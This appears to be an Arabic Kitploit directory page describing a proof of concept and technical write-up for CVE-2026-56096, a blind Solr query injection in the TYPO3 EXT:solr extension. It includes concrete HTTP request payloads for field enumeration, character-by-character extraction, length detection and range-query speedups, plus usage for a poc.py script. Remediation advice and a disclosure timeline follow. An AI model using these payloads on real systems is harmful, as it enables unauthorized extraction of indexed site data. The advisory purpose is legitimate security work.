Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-56096 — إثبات مفهوم وشرح تقني لـ CVE-2026-56096، وهو حقن استعلام Solr أعمى في TYPO3 EXT:solr يتيح تعداد الحقول واستخراج البيانات دون مصادقة. | Kitploit
أدوات/GitHubGitHub/yairhinkis/cve-2026-56096
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتأمن الويبالأوراق والأبحاث
GitHubyairhinkis/cve-2026-56096

CVE-2026-56096

إثبات مفهوم وشرح تقني لـ CVE-2026-56096، وهو حقن استعلام Solr أعمى في TYPO3 EXT:solr يتيح تعداد الحقول واستخراج البيانات دون مصادقة.

عرض المستودع
345منذ 29 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-56096: حقن استعلامات Solr واستخراج البيانات الأعمى في TYPO3 EXT:solr

تم اكتشاف ثغرة أمنية معمارية في إضافة TYPO3 Apache Solr الرسمية (EXT:solr / apache-solr-for-typo3/solr). تتيح المشكلة للمهاجمين عن بُعد غير المصادق عليهم حقن صياغة استعلامات Solr/Lucene عشوائية عبر معامل البحث tx_solr[q]، مما يمكّن من تعداد الحقول الأعمى غير المصرح به واستخراج كامل البيانات الوصفية من فهرس البحث.


البيانات الوصفية

  • معرّف CVE: CVE-2026-56096
  • نوع الثغرة: CWE-943: التحييد غير السليم للعناصر الخاصة في منطق استعلامات البيانات
  • المكوّن المستهدف: EXT:solr (معامل البحث: tx_solr[q])
  • درجة CVSS v4.0: 6.3 (متوسطة) — CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
  • الباحث: Yair Hinkis

نظرة عامة على الثغرة

تقبل إضافة EXT:solr مصطلحات البحث المقدَّمة من المستخدم عبر المعامل tx_solr[q] وتُمرّرها إلى محرك Apache Solr. بحكم التصميم، تسمح الإضافة بعوامل استعلام محددة—مثل أحرف البدل (*)، وأحرف البدل أحادية الحرف (?)، ومحددات الحقول (:)، واستعلامات النطاق ([a TO z])—لدعم وظائف مشروعة مثل التصفية متعددة الأوجه.

ولأن هذه الأحرف كانت تُمرَّر مباشرة إلى بناء استعلام الواجهة الخلفية دون قائمة بيضاء مفروضة أو طبقة تجريد للاستعلامات، يمكن للمهاجم تقديم صياغة خاصة بالحقول للخروج عن حدود البحث المقصودة. يتيح ذلك للمستخدمين غير المصادق عليهم الاستعلام عن حقول Solr الداخلية مباشرة واستخراج بيانات الفهرس باستخدام تقنيات أعمى قائمة على المنطق البولياني.


تقنيات الهجوم

1. تعداد الحقول عبر field:*

من خلال إلحاق حرف بدل باسم حقل عشوائي أو مُخمَّن، يمكن للمهاجم التحقق مما إذا كان الحقل موجودًا ضمن المخطط:

GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com

إذا كان الحقل موجودًا، يعالج Solr الاستعلام عبر جميع السجلات المطابقة (مما يؤدي غالبًا إلى تفعيل رموز استجابة مميزة أو سلوكيات مرتبطة بالحجم)، مما يتيح تعداد الحقول الآلي القائم على قوائم الكلمات.


2. استخراج القيم الأعمى عبر أحرف البدل البادئة

يمكن للمهاجمين استخراج قيم الحقول الحساسة حرفًا بحرف باستخدام الاستدلال المنطقي:

GET /search?tx_solr[q]=siteHash:a* HTTP/1.1  --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1  --> "Nothing found" (Value does not begin with 'b')

3. اكتشاف الطول عبر المعامل ?

يمكن لمعامل حرف البدل الواحد (?) تحديد الطول الدقيق لسلسلة مخزّنة قبل بدء تكرار الأحرف:

GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1   (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1  (Checks for 13+ characters)

4. استعلامات النطاق المُسرَّعة ([a TO z])

تسمح استعلامات النطاق بالاستخراج عبر البحث الثنائي على الحرف الأول، مما يقلل عدد الطلبات المطلوبة من 26 إلى ~5 لكل موضع حرف:

GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1  --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1  --> Determines if character falls within 'n'-'z'

يتيح الجمع بين كشف الطول واستعلامات النطاق وأحرف البدل البادئة استخراج الحقل الكامل بأقل بصمة للطلبات.


إثبات المفهوم / الاستخدام

يُقدَّم نص برمجي للتحقق الآلي (poc.py) لإثبات الاستخراج الأعمى باستخدام التقنيات الموضحة أعلاه.

مثال على الاستخدام

python3 poc.py -u "https://target.example.com/?L=0&id=1" -f "someField"

الخيارات

  • -u, --url: عنوان URL الهدف الذي يشير إلى نقطة نهاية البحث في TYPO3.

  • -f, --field: اسم حقل المخطط المراد تعداده/استخراجه (مثل appKey، siteHash).

  • -c, --cookies: (اختياري) ملفات تعريف ارتباط الجلسة إذا كان التحقق من المصادقة/تجاوز WAF مطلوبًا.

  • -o, --output: ملف الإخراج لتخزين البادئات المكتشفة (الافتراضي: validated_fields.txt).


التأثير

  • انتهاك السرية: استخراج كامل لجميع الحقول المفهرسة في Apache Solr (مثل تجزئات النظام الداخلية، ومحتوى الصفحات المخفي، والبيانات الوصفية المتعلقة بالمستخدمين، ومعرّفات النظام).
  • تجاوز التحكم في الوصول: يتجاوز مرشحات البحث في الواجهة الأمامية وقيود العرض في TypoScript.
  • النطاق: أثّر على جميع عمليات التثبيت الافتراضية التي تستخدم نقطة نهاية البحث EXT:solr.

المعالجة

لا يكفي الهروب الشامل من الأحرف لأن عوامل مثل * و : تؤدي وظائف بحث مقصودة. تتطلب المعالجة قائمة سماح على مستوى طبقة التطبيق ونموذج تحليل:

  1. تحليل سلاسل الاستعلام المقدمة من المستخدم إلى شجرة بناء مجردة (AST) قبل إرسالها إلى محرك Solr.
  2. فرض قوائم سماح صارمة على أهداف الحقول المسموح بها، مع منع استعلامات المستخدم المباشرة على الحقول الداخلية أو المقيّدة.
  3. تحييد إساءة استخدام العوامل غير المدرجة في قائمة السماح الناشئة عن سياقات الإدخال غير الموثوقة.

الجدول الزمني للإفصاح المنسّق

  • 6 مارس 2026: تحديد الثغرة أثناء تقييم مصرّح به؛ إشعار المورّد الأولي.
  • 17 أبريل 2026: نفّذ المورّد تخفيفات محلية على الحافة؛ تأكيد طبيعة الخلل في المنبع.
  • 8 مايو 2026: تقديم تقرير ثغرة رسمي إلى فريق أمن TYPO3 ([email protected]).
  • 15 يونيو 2026: أكّد فريق أمن TYPO3 إعادة إنتاج الثغرة وبدأ تطوير التصحيح مع مشرفي الإضافة.
  • 25 أغسطس 2026: إصدار النشرة الأمنية الرسمية، ونشر التصحيح، وتعيين CVE-2026-56096.

المراجع

  • استشارة أمن TYPO3: TYPO3-EXT-SA-2026-025
  • تعريف CWE: CWE-943: Improper Neutralization of Special Elements in Data Query Logic
تنزيل الأداة